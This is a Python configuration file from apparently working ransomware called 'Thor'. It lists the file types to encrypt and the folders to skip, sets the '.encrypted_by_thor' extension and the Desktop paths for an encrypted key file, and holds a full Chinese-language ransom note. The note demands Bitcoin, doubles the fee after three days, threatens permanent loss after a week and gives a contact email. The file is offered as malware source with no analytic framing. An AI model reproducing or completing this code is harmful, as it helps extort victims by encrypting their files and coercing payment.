import os
from getpass import getuser


# Files
filetypes = [
    '.7z', '.ai', '.asp', '.aspx', '.c', '.cpp', '.cs', '.css', '.csv',
    '.db', '.doc', '.docx', '.go', '.h', '.hpp', '.htm', '.html', '.ico', '.jpeg',
    '.jpg', '.js', '.json', '.md', '.mp3', '.mp4', '.pdf', '.php', '.png', '.ppt', '.pptx', '.ps1',
    '.psd', '.py', '.rar', '.rb', '.rtf', '.sql', '.sqlite', '.sqlite3', '.svg',
    '.ts', '.txt', '.vb', '.vmx', '.wmv', '.xls', '.xlsx', '.zip'
]

exclude = [
    'appdata',
    'node_modules',
    'cmder',
    'go',
    'gocode'
    'python'
    'debug',
    'site-packages'
]

encrypted_extension = '.encrypted_by_thor'

desktop = os.path.join(
    os.path.abspath(os.path.sep), 'Users', getuser(
    ), 'Desktop'
)

THOR_DIR = os.path.join(desktop, 'THOR_DIR')
ENCRYPTED_RSA_PRIVATE_KEY = os.path.join(THOR_DIR, 'decryption_key_need_to_send_to_me.ekey')

README_THOR_FOLDER = os.path.join(THOR_DIR, 'README.txt')
README_NAME = os.path.join(desktop, 'README.txt')

# check if key dir exists
if not os.path.exists(THOR_DIR):
    os.mkdir(THOR_DIR)

README_CONTENT = '''
我的电脑发生了什么事?\n\n

你的一些重要文件被我加密了。\n

照片、图片、文档、压缩包、音频、视频文件等，几乎所有类型的文件都被加密了，因此不能正常打开。\n

这和一般文件损坏有本质上的区别。您大可在网上找找恢复文件的方法，我敢保证，没有我们的解密服务，就算老天爷来了也不能恢复这些文档。\n

有没有恢复这些文档的方法？\n

当然有可恢复的方法。只能通过我们的解密服务才能恢复。我以人格担保，能够提供安全有效的恢复服务。\n

但这是收费的，也不能无限期的推迟。\n

想要恢复全部文档，需要付款点费用。\n

是否随时都可以固定金额付款，就会恢复的吗，当然不是，推迟付款时间越长对你不利。\n

最好3天之内付款费用，过了三天费用就会翻倍。\n

还有，一个礼拜之内未付款，将会永远恢复不了。\n

对了，忘了告诉你，对半年以上没钱付款的穷人，会有活动免费恢复，能否轮到你，就要看您的运气怎么样了。\n

付款方法\n\n

我们只会接受比特币。不懂比特币是什么，请自行搜索。\n

不会购买比特币，请自行搜索。\n

要注意：付款金额不能低于价值为{0}CNY的比特币。\n

我们的比特币钱包地址是：{1}\n

付款后，请发送邮件至admin@rdpstudio.top并包括以下附件：\n

{2} \n

最好的确认时间为周一到周五，从上午9点到11点\n

到账成功并收到解密器后，可立刻开始恢复工作。\n

'''
